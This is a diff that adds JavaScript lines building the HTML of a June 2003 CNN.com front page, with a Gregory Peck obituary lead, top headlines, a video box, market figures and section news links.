+ s += '';
+ s += ' <div class="cnnMainT1">';
+ s += ' <h2 style="font-size:20px;"><a href="/2003/SHOWBIZ/Movies/06/12/obit.peck/index.html">Oscar-winner Peck dies</a></h2>';
+ s += '<p>';
+ s += 'Actor Gregory Peck, who won an Oscar for his portrayal of upstanding lawyer Atticus Finch in 1962s "To Kill a Mockingbird," has died at age 87. Peck was best known for roles of dignified statesmen and people who followed a strong code of ethics. But he also could play against type. All told, Peck was nominated for five Academy Awards.';
+ s += '</p>';
+ s += ' <p>';
+ s += ' <b><a href="/2003/SHOWBIZ/Movies/06/12/obit.peck/index.html" class="cnnt1link">FULL STORY</a></b>';
+ s += ' </p>';
+ s += '';
+ s += '';
+ s += '';
+ s += '&#8226; <span class="cnnBodyText" style="font-weight:bold;color:#333;">Video: </span><img src="http://i.cnn.net/cnn/.element/img/1.0/misc/premium.gif" alt="premium content" width="9" height="11" hspace="0" vspace="0" border="0" align="absmiddle"> <a href="javascript:LaunchVideo("/showbiz/2003/06/12/peck.obit.affl.","300k");">A leading mans leading man</a><br>';
+ s += '';
+ s += '';
+ s += '';
+ s += ' ';
+ s += '&#8226; <span class="cnnBodyText" style="font-weight:bold;color:#333">Interactive: </span> <a href="javascript:CNN_openPopup("/interactive/entertainment/0306/peck.obit/frameset.exclude.html","620x430","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=620,height=430")">Gregory Peck through the years</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226; <a href="http://www.cnn.com/2003/SHOWBIZ/Movies/06/12/peck.filmography/index.html" target="new">Gregory Peck filmography</a><img src="http://i.cnn.net/cnn/.element/img/1.0/misc/icon.external.links.gif" alt="external link" width="20" height="13" vspace="1" hspace="4" border="0" align="top"><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226; <a href="http://www.cnn.com/2003/SHOWBIZ/Movies/06/04/heroes.villains.ap/index.html" target="new">Pecks Finch chararcter AFIs top hero</a><img src="http://i.cnn.net/cnn/.element/img/1.0/misc/icon.external.links.gif" alt="external link" width="20" height="13" vspace="1" hspace="4" border="0" align="top"><br>';
+ s += ' </div>';
+ s += '';
+ s += '<!-- /T1 -->';
+ s += ' </td>';
+ s += ' ';
+ s += ' <td rowspan="2" width="10"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="10" height="1"></td>';
+ s += ' <td width="344">';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '<!-- T2 -->';
+ s += '';
+ s += '<div><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/px_c00.gif" alt="" width="344" height="2"></div>';
+ s += '<table width="344" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td width="285" class="cnnTabbedBoxHeader" style="padding-left:0px;"><span class="cnnBigPrint"><b>MORE TOP STORIES</b></span></td>';
+ s += ' <td width="59" class="cnnTabbedBoxTab" align="right" bgcolor="#336699"><a href="/userpicks"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/userpicks.gif" alt=" Hot Stories " width="59" height="11" border="0"></a></td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '<div style="padding:6px;padding-left:0px;">';
+ s += '';
+ s += ' ';
+ s += '<div class="cnnMainNewT2">&#8226; <a href="/2003/WORLD/meast/06/12/mideast/index.html">7 dead in new Gaza strike</a>';
+ s += '| <img src="http://i.cnn.net/cnn/.element/img/1.0/misc/premium.gif" alt="premium content" width="9" height="11" hspace="0" vspace="0" border="0" align="absmiddle"> <a href="javascript:LaunchVideo("/world/2003/06/11/cb.bush.roadmap.ap.","300k");">Video</a><br></div>';
+ s += '';
+ s += ' ';
+ s += '<div class="cnnMainNewT2">&#8226; <a href="/2003/WORLD/meast/06/12/sprj.irq.main/index.html">U.S. helicopter, jet down in Iraqi raid</a>';
+ s += '| <img src="http://i.cnn.net/cnn/.element/img/1.0/misc/premium.gif" alt="premium content" width="9" height="11" hspace="0" vspace="0" border="0" align="absmiddle"> <a href="javascript:LaunchVideo("/iraq/2003/06/11/bw.iraq.oil.cnn.","300k");">Video</a><br></div>';
+ s += '';
+ s += ' ';
+ s += '<div class="cnnMainNewT2">&#8226; <a href="/2003/SHOWBIZ/TV/06/12/obit.brinkley/index.html">Television icon David Brinkley dead at 82</a><br></div>';
+ s += '';
+ s += ' ';
+ s += '<div class="cnnMainNewT2">&#8226; <a href="/2003/LAW/06/12/peterson.case/index.html">Peterson search warrants will be made public in July</a><br></div>';
+ s += '';
+ s += ' ';
+ s += '<div class="cnnMainNewT2">&#8226; <a href="/2003/WORLD/asiapcf/east/06/12/okinawa.rape/index.html">U.S. Marine held in new Okinawa rape case</a><br></div>';
+ s += '';
+ s += ' ';
+ s += '<div class="cnnMainNewT2">&#8226; <a href="/2003/TECH/space/06/12/sprj.colu.bolts.ap/index.html">New threat discovered for shuttle launches</a><br></div>';
+ s += '';
+ s += ' ';
+ s += '<div class="cnnMainNewT2">&#8226; <a href="/2003/SHOWBIZ/TV/06/12/television.sopranos.reut/index.html">"Soprano" Gandolfini shares his wealth with castmates</a><br></div>';
+ s += '<!--[[div class="cnnMainNewT2"]]&#8226;&nbsp;[[b]][[span style="color:#C00;"]]CNN[[/span]]Radio:[[/b]]&nbsp;[[a href="javascript:CNN_openPopup("/audio/radio/preferences.html","radioplayer","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=200,height=124")"]]Bush on Medicare[[/a]]&nbsp;[[a href="javascript:CNN_openPopup("/audio/radio/preferences.html","radioplayer","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=200,height=124")"]][[img src="http://i.a.cnn.net/cnn/.element/img/1.0/misc/live.video.gif" alt="" width="61" height="14" vspace="0" hspace="2" align="absmiddle" border="0"]][[/a]][[img src="http://i.a.cnn.net/cnn/.element/img/1.0/misc/audio.gif" alt="" width="10" height="10" vspace="0" hspace="2" align="absmiddle"]][[br]][[/div]]--></div>';
+ s += '';
+ s += '<!-- /T2 -->';
+ s += '<div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="10"></div>';
+ s += '';
+ s += '<!--include virtual="/.element/ssi/misc/1.0/war.zone.smmap.txt"-->';
+ s += '<!-- =========== CNN Radio/Video Box =========== -->';
+ s += '<!-- top line --> ';
+ s += '<div><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/px_ccc.gif" alt="" width="344" height="1"></div>';
+ s += '<!-- /top line -->';
+ s += ' <table width="344" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr valign="top">';
+ s += '<!-- left-side line --> ';
+ s += ' <td bgcolor="#CCCCCC" width="1"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="30" hspace="0" vspace="0" border="0"></td>';
+ s += '<!-- /left-side line --> ';
+ s += '<!-- CNNRadio cell -->';
+ s += ' <td width="114"><div class="cnn6pxPad">';
+ s += ' <span class="cnnBigPrint" style="color:#C00;font-weight:bold;">CNN</span><span class="cnnBigPrint" style="color:#000;font-weight:bold;">RADIO</span>';
+ s += '<div class="cnnMainNewT2"><a href="javascript:CNN_openPopup("/audio/radio/preferences.html","radioplayer","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=200,height=124")">Listen to latest updates</a><img src="http://i.a.cnn.net/cnn/.element/img/1.0/misc/audio.gif" alt="" width="10" height="10" vspace="0" hspace="2" align="absmiddle">';
+ s += '<div><img src="http://i.a.cnn.net/cnn/images/1.gif" alt="" width="1" height="5" hspace="0" vspace="0"></div>';
+ s += '<!--';
+ s += '[[span class="cnnFinePrint"]]sponsored by:[[/span]][[br]][[center]]';
+ s += '[[!~~#include virtual="/cnn_adspaces/home/war_in_iraq/sponsor.88x31.ad"~~]]';
+ s += ' [[/center]]';
+ s += '-->';
+ s += ' </div></td>';
+ s += '<!-- /CNNRadio cell --> ';
+ s += '<!-- center line --> ';
+ s += ' <td bgcolor="#CCCCCC" width="1"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="1" hspace="0" vspace="0" border="0"></td>';
+ s += '<!-- /center line --> ';
+ s += '<!-- video cell --> ';
+ s += ' <td width="227"><div class="cnn6pxPad">';
+ s += '<!-- video box --> ';
+ s += '<table width="215" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr valign="top">';
+ s += ' <td width="144"><span class="cnnBigPrint" style="font-weight:bold;">VIDEO</span></td>';
+ s += ' <td width="6"><img src="http://i.a.cnn.net/cnn/images/1.gif" alt="" width="6" height="1" hspace="0" vspace="0"></td>';
+ s += ' <td width="65"><a href="/video/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/more.video.blue.gif" alt="MORE VIDEO" width="62" height="11" hspace="0" vspace="0" border="0"></a></td></tr>';
+ s += ' <tr>';
+ s += ' <td width="215" colspan="3"><img src="http://i.a.cnn.net/cnn/images/1.gif" alt="" width="1" height="2" hspace="0" vspace="0"></td></tr>';
+ s += ' <tr valign="top">';
+ s += ' <td><div class="cnnBodyText">';
+ s += ' Soldier broke dozens of hearts over e-mail<br>';
+ s += ' <img src="http://i.a.cnn.net/cnn/images/icons/premium.gif" align="middle" alt="premium content" width="9" height="11" hspace="0" vspace="1" border="0">&nbsp;<a href="javascript:LaunchVideo("/offbeat/2003/06/12/ms.casanova.col.ap.","300k");" class="cnnVideoLink">PLAY VIDEO</a></div>';
+ s += ' </td>';
+ s += '<td width="3"><img src="http://i.a.cnn.net/cnn/images/1.gif" alt="" width="3" height="1" hspace="0" vspace="0"></td> ';
+ s += ' <td width="65" align="right">';
+ s += ' <a href="javascript:LaunchVideo("/offbeat/2003/06/12/ms.casanova.col.ap.","300k");"><img src="http://i.cnn.net/cnn/video/offbeat/2003/06/12/ms.casanova.col.vs.kndu.jpg" alt="" width="65" height="49" border="0" vspace="2" hspace="0"></a>';
+ s += ' </td></tr>';
+ s += '</table>';
+ s += ' <!-- /video box --> ';
+ s += ' </div></td>';
+ s += '<!-- /video cell --> ';
+ s += '<!-- right-side line --> ';
+ s += '<td bgcolor="#CCCCCC" width="1"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="1" hspace="0" vspace="0" border="0"></td>';
+ s += '<!-- /right-side line --> ';
+ s += ' </tr>';
+ s += ' </table>';
+ s += '';
+ s += '<!-- bottom line -->';
+ s += '<div><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/px_ccc.gif" alt="" width="344" height="1"></div>';
+ s += '<!-- /bottom line -->';
+ s += '<!-- =========== /CNN Radio/Video Box =========== -->';
+ s += '';
+ s += '<div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="10"></div>';
+ s += '<div><img src="http://i.cnn.net/cnn/.element/img/1.0/main/px_c00.gif" alt="" width="344" height="2"></div>';
+ s += '<table width="344" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td width="260" class="cnnTabbedBoxHeader" style="padding-left:0px;"><span class="cnnBigPrint"><b>ON THE SCENE</b></span></td>';
+ s += ' <td width="84" class="cnnTabbedBoxTab" align="right" bgcolor="#336699" style="padding: 0px 3px;"><a href="/LAW/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/superlinks/law.gif" alt="more reports" height="11" border="0" hspace="2" vspace="2" align="right"></a></td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '';
+ s += '<table width="344" border="0" cellpadding="5" cellspacing="0">';
+ s += ' <tr valign="top">';
+ s += ' <td style="padding-left:0px;"> <b>Jeffrey Toobin:</b> "It takes guts" for Peterson defense to subpoena judge over wiretap issue.';
+ s += '<a href="/2003/LAW/06/12/otsc.toobin/index.html">Full Story</a></td>';
+ s += '';
+ s += '<td width="65" align="right" style="padding-left:6px;"><a href="/2003/LAW/06/12/otsc.toobin/index.html"><img src="http://i.cnn.net/cnn/2003/LAW/06/12/otsc.toobin/tz.toobin.jpg" alt="image" width="65" height="49" border="0" hspace="0" vspace="0"></a></td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '<div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="10"></div>';
+ s += ' </td>';
+ s += ' </tr>';
+ s += ' <tr valign="bottom">';
+ s += ' <td>';
+ s += '<table width="344" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td width="267" nowrap style="color: #c00; padding-left: 6px"><span class="cnnBigPrint" style="vertical-align: top"><b>BUSINESS</b></span>';
+ s += ' <a href="/money/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/at_cnnmoney.gif" alt=" at CNN/Money " width="100" height="15" border="0"></a></td>';
+ s += ' <td width="77" align="right"><a href="/money/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/business.news.blue.gif" alt=" Business News " width="77" height="11" border="0"></a></td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '';
+ s += '<table width="344" bgcolor="#EEEEEE" border="0" cellpadding="0" cellspacing="0" style="border: solid 1px #ddd">';
+ s += ' <tr valign="top">';
+ s += ' <td>';
+ s += ' <table width="100%" border="0" cellpadding="0" cellspacing="4">';
+ s += ' <tr>';
+ s += ' <td colspan="3"><span class="cnnMenuText"><b>STOCK/FUND QUOTES: </b></span></td>';
+ s += ' </tr><form action="http://qs.money.cnn.com/tq/stockquote" method="get" style="margin: 0px;">';
+ s += ' <tr>';
+ s += ' <td><span class="cnnFinePrint">enter symbol</span></td>';
+ s += ' <td><input type="text" name="symbols" size="7" maxlength="40" class="cnnMenuText" title="Enter stock/fund symbol or name to get a quote"></td>';
+ s += ' <td><input type="submit" value="GET" class="cnnNavButton"></td>';
+ s += ' </tr></form>';
+ s += ' </table>';
+ s += ' <table width="100%" border="0" cellpadding="0" cellspacing="4">';
+ s += ' <tr valign="top">';
+ s += ' <td><span class="cnnFinePrint">sponsored by:</span></td>';
+ s += ' <td align="right"><!--<a href="/money/news/specials/rebuild_iraq/"><img src="http://i.a.cnn.net/cnn/2003/images/04/17/money.box.gif" ALT="" width="150" height="31" HSPACE="0" VSPACE="0" border="0" align="left"></a>--><a href="http://ar.atwola.com/link/93103306/aol"><img src="http://ar.atwola.com/image/93103306/aol" alt="Click Here" width="88" height="31" border="0" hspace="0" vspace="0"></a></td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' </td>';
+ s += ' <td class="cnnMainMarketBox"> <table width="100%" border="0" cellpadding="4" cellspacing="0" summary="Market data from CNNmoney">';
+ s += ' <tr class="noBottomBorder">';
+ s += ' <td colspan="5"><span class="cnnMainMarketCell"><span class="cnnMenuText"><b><a href="/money/markets/">MARKETS:</a></b></span> <!-- 16:30:15 -->';
+ s += '';
+ s += '4:30pm ET, 6/12</span></td>';
+ s += ' </tr>';
+ s += ' <tr class="noTopBorder">';
+ s += ' <td><span class="cnnMainMarketCell"><a href="/money/markets/dow.html" title="Dow Jones Industrial Average">DJIA</a></span></td>';
+ s += ' <td><img src="http://i.cnn.net/cnn/.element/img/1.0/main/arrow_up.gif" alt="" width="9" height="9"></td>';
+ s += ' <td align="right" nowrap><span class="cnnMainMarketCell">+13.30</span></td>';
+ s += ' <td align="right" nowrap><span class="cnnMainMarketCell">9196.50</span></td>';
+ s += ' <td align="right" nowrap><span class="cnnMainMarketCell">+ 0.14%</span></td>';
+ s += '';
+ s += ' </tr>';
+ s += ' <tr>';
+ s += ' <td><span class="cnnMainMarketCell"><a href="/money/markets/nasdaq.html" title="NASDAQ">NAS</a></span></td>';
+ s += ' <td><img src="http://i.cnn.net/cnn/.element/img/1.0/main/arrow_up.gif" alt="" width="9" height="9"></td>';
+ s += ' <td align="right" nowrap><span class="cnnMainMarketCell">+ 7.60</span></td>';
+ s += ' <td align="right" nowrap><span class="cnnMainMarketCell">1653.62</span></td>';
+ s += ' <td align="right" nowrap><span class="cnnMainMarketCell">+ 0.46%</span></td>';
+ s += '';
+ s += ' </tr>';
+ s += ' <tr class="noBottomBorder">';
+ s += ' <td><span class="cnnMainMarketCell"><a href="/money/markets/sandp.html" title="S&amp;P 500">S&amp;P</a></span></td>';
+ s += ' <td><img src="http://i.cnn.net/cnn/.element/img/1.0/main/arrow_up.gif" alt="" width="9" height="9"></td>';
+ s += ' <td align="right" nowrap><span class="cnnMainMarketCell">+ 1.03</span></td>';
+ s += ' <td align="right" nowrap><span class="cnnMainMarketCell">998.51</span></td>';
+ s += ' <td align="right" nowrap><span class="cnnMainMarketCell">+ 0.10%</span></td>';
+ s += '';
+ s += ' </tr>';
+ s += ' </table>';
+ s += '</td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '';
+ s += '</td>';
+ s += ' </tr>';
+ s += ' <tr>';
+ s += ' <td colspan="3"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="4"></td>';
+ s += ' </tr>';
+ s += ' <tr align="center" valign="bottom">';
+ s += ' <td width="280" bgcolor="#EEEEEE"><a href="/linkto/ftn.nytimes1.html"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/ftn.280x32.ny.times.gif" width="255" height="32" alt="" border="0"></a></td>';
+ s += '<td width="10"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="10" height="1"></td>';
+ s += ' <td width="344" bgcolor="#EEEEEE"><a href="/linkto/ftn.bn3.html"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/ftn.345x32.breaking.news.gif" width="340" height="32" alt="" border="0"></a></td>';
+ s += ' </tr>';
+ s += '';
+ s += '</table>';
+ s += '';
+ s += '';
+ s += '<div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="10"></div>';
+ s += '';
+ s += '';
+ s += '<table width="770" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <col width="10">';
+ s += ' <col width="483" align="left" valign="top">';
+ s += ' <col width="10">';
+ s += ' <col width="267" align="left" valign="top">';
+ s += ' <tr valign="top">';
+ s += ' <td rowspan="2"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="10" height="1"></td>';
+ s += ' <td valign="top">';
+ s += ' <table border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr valign="top">';
+ s += ' <td width="238">';
+ s += ' <div><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/px_c00.gif" alt="" width="238" height="2"></div>';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += ' <table width="238" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td width="132" class="cnnTabbedBoxHeader" style="padding-left:0px;"><span class="cnnBigPrint"><b>MORE REAL TV</b></span></td>';
+ s += ' <td width="106" class="cnnTabbedBoxTab" align="right" bgcolor="#336699" style="padding: 0px 3px;"><a href="/SHOWBIZ"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/entertainment.news.gif" alt="More Entertainment" border="0" width="102" height="11" hspace="2" vspace="2" align="right"></a></td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' <div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="238" height="5" vspace="0" hspace="0"></div>';
+ s += ' <table width="238" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr valign="top">';
+ s += ' <td><div class="cnn6pxTpad">';
+ s += ' ';
+ s += ' <a href="/2003/SHOWBIZ/06/11/eye.ent.voyeurs/index.html">Go ahead, follow me</a><br>';
+ s += 'New reality series and the movie debut of "Idol" finalists';
+ s += ' </div></td>';
+ s += ' <td width="71" align="right"><a href="/2003/SHOWBIZ/06/11/eye.ent.voyeurs/index.html"><img src="http://i.a.cnn.net/cnn/2003/SHOWBIZ/06/11/eye.ent.voyeurs/tz.movies.gif" alt="Go ahead, follow me" width="65" height="49" border="0" vspace="6"></a></td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += ' ';
+ s += ' <div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="238" height="5" vspace="0" hspace="0"></div>';
+ s += '<!--include virtual="/.element/ssi/video/section_teases/topvideos_include.txt"-->';
+ s += ' </td>';
+ s += ' <td><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="7" height="1"></td>';
+ s += ' <td width="238">';
+ s += ' <div><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/px_c00.gif" alt="" width="238" height="2"></div>';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += ' <table width="238" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td width="157" class="cnnTabbedBoxHeader" style="padding-left:0px;"><span class="cnnBigPrint"><b>GIFT IDEAS</b></span></td>';
+ s += ' <td width="81" class="cnnTabbedBoxTab" align="right" bgcolor="#336699" style="padding: 0px 3px;"><a href="/money"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/superlinks/business.gif" alt="Business News" border="0" width="77" height="11" hspace="2" vspace="2" align="right"></a></td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' <div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="238" height="5" vspace="0" hspace="0"></div>';
+ s += ' <table width="238" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr valign="top">';
+ s += ' <td><div class="cnn6pxTpad">';
+ s += '';
+ s += '';
+ s += '<span class="cnnBodyText" style="font-weight:bold;">CNN/Money: </span> <a href="/money/2003/06/12/news/companies/fathers_day/index.htm?cnn=yes">Fathers Day</a><br>';
+ s += 'Smaller is better --from digital cameras to iPod';
+ s += ' </div></td>';
+ s += ' <td width="71" align="right"><a href="/money/2003/06/12/news/companies/fathers_day/index.htm?cnn=yes"><img src="http://i.a.cnn.net/cnn/images/programming.boxes/tz.money.dads.day.watch.jpg" alt="Fathers Day" width="65" height="49" border="0" vspace="6"></a></td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' </td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' <div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="238" height="10" vspace="0" hspace="0"></div> ';
+ s += '<table width="483" border="0" cellspacing="0" cellpadding="0">';
+ s += ' <tr valign="top">';
+ s += ' <td rowspan="9"><br></td>';
+ s += ' <td width="238"><a href="/US/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/us.gif" alt="U.S. News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/US/South/06/11/miami.rapist/index.html">Miami police link 4 rapes to serial rapist</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/LAW/06/12/mistaken.identity.ap/index.html">Woman mistaken for fugitive jailed</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/US/Northeast/06/12/woman.impaled.ap/index.html">Pregnant woman impaled on mic stand</a><br>';
+ s += ' </div></td>';
+ s += ' <td rowspan="7" width="7"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="7" height="1"></td>';
+ s += ' <td width="238"><a href="/WORLD/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/world.gif" alt="World News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/WORLD/europe/06/12/nato.bases/index.html">NATO reshapes for new era</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/WORLD/africa/06/12/congo.democratic/index.html">U.N. reviews Bunia peace force</a><br>';
+ s += '';
+ s += '';
+ s += '';
+ s += '&#8226;&nbsp;<span class="cnnBodyText" style="font-weight:bold;color:#900;">TIME.com: </span><a href="/time/magazine/article/0,9171,1101030616-457361,00.html?CNN=yes" target="new">Saddams curtain trail</a><img src="http://i.cnn.net/cnn/.element/img/1.0/misc/icon.external.links.gif" alt="external link" width="20" height="13" vspace="1" hspace="4" border="0" align="top"><br>';
+ s += ' </div></td>';
+ s += ' </tr><tr valign="top">';
+ s += ' <td width="238"><a href="/TECH/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/technology.gif" alt="Sci-Tech News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/TECH/ptech/06/11/bus2.ptech.dvd.maker/index.html">Another reason to throw out your VCR</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/TECH/ptech/06/12/korea.samsung.reut/index.html">Flat screen TV prices dropping</a><br>';
+ s += ' </div></td>';
+ s += ' <td width="238"><a href="/SHOWBIZ/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/entertainment.gif" alt="Entertainment News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/SHOWBIZ/TV/06/12/cnn.obrien/index.html">CNN hires Soledad OBrien for "AM"</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/SHOWBIZ/TV/06/11/batchelor.troubles.ap/index.html">Dating show star let go by law firm</a><br>';
+ s += ' </div></td>';
+ s += ' </tr><tr valign="top">';
+ s += ' <td width="238"><a href="/ALLPOLITICS/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/politics.gif" alt="Politics News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/ALLPOLITICS/06/11/schwarzenegger.ap/index.html">Schwarzenegger on California politics</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/ALLPOLITICS/06/12/tax.credit.ap/index.html">House approves extension on child tax credit</a><br>';
+ s += ' </div></td>';
+ s += ' <td width="238"><a href="/LAW/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/law.gif" alt="Law News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/LAW/06/12/plaintiff.advances.ap/index.html">Court bars cash advances to plaintiffs</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/LAW/06/11/jackson.lawsuit.ap/index.html">Lawsuit against Jackson settled</a><br>';
+ s += ' </div></td>';
+ s += ' </tr><tr valign="top">';
+ s += ' <td width="238"><a href="/HEALTH/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/health.gif" alt="Health News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/HEALTH/06/12/monkeypox.ap/index.html">Monkeypox spreading person-to-person?</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/HEALTH/06/12/quick.xray.ap/index.html">A full body X-ray in 13 seconds</a><br>';
+ s += ' </div></td>';
+ s += ' <td width="238"><a href="/TECH/space/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/space.gif" alt="Space News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/TECH/science/06/12/hydrogen.ozone.ap/index.html">Hydrogen fuel may disturb ozone layer</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/TECH/space/06/12/sprj.colu.bolts.ap/index.html">New threat found for shuttle launches</a><br>';
+ s += ' </div></td>';
+ s += ' </tr><tr valign="top">';
+ s += ' <td width="238"><a href="/TRAVEL/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/travel.gif" alt="Travel News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/TRAVEL/DESTINATIONS/06/12/walk.across.america.ap/index.html">Walking America from coast to coast</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/TRAVEL/06/11/bi.airlines.executives.reut/index.html">Airline execs not seeing sunny skies yet</a><br>';
+ s += ' </div></td>';
+ s += ' <td width="238"><a href="/EDUCATION/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/education.gif" alt="Education News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/EDUCATION/06/12/arabs.prom.ap/index.html">Arab students seek prom balance</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226;&nbsp;<a href="/2003/EDUCATION/06/11/school.fundraising.ap/index.html">Public schools turn to upscale fundraising</a><br>';
+ s += ' </div></td>';
+ s += ' </tr><tr valign="top">';
+ s += ' <td width="238"><a href="/si/index.html?cnn=yes"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/sports.gif" alt="Sports News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '';
+ s += '&#8226;&nbsp;<a href="/cnnsi/golfonline/2003/us_open/news/2003/06/12/open_thursday_ap">Woods eyes third U.S. Open title</a><br>';
+ s += '&#8226;&nbsp;<a href="/cnnsi/basketball/news/2003/06/12/jordan_ruling_ap">Judge denies Jordan&#039;s former lover $5M payoff</a><br>';
+ s += ' </div></td>';
+ s += ' <td width="238"><a href="/money/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/business.gif" alt="Business News: " width="238" height="15" border="0"></a><br><div class="cnnMainSections">';
+ s += '&#8226;&nbsp;<a href="/money/2003/06/12/pf/saving/duppies/index.htm">Here come the "Duppies"</a><br>';
+ s += '&#8226;&nbsp;<a href="/money/2003/06/12/technology/oracle/index.htm">Oracle beats estimates</a><br>';
+ s += ' </div></td>';
+ s += ' </tr>';
+ s += '</table>';
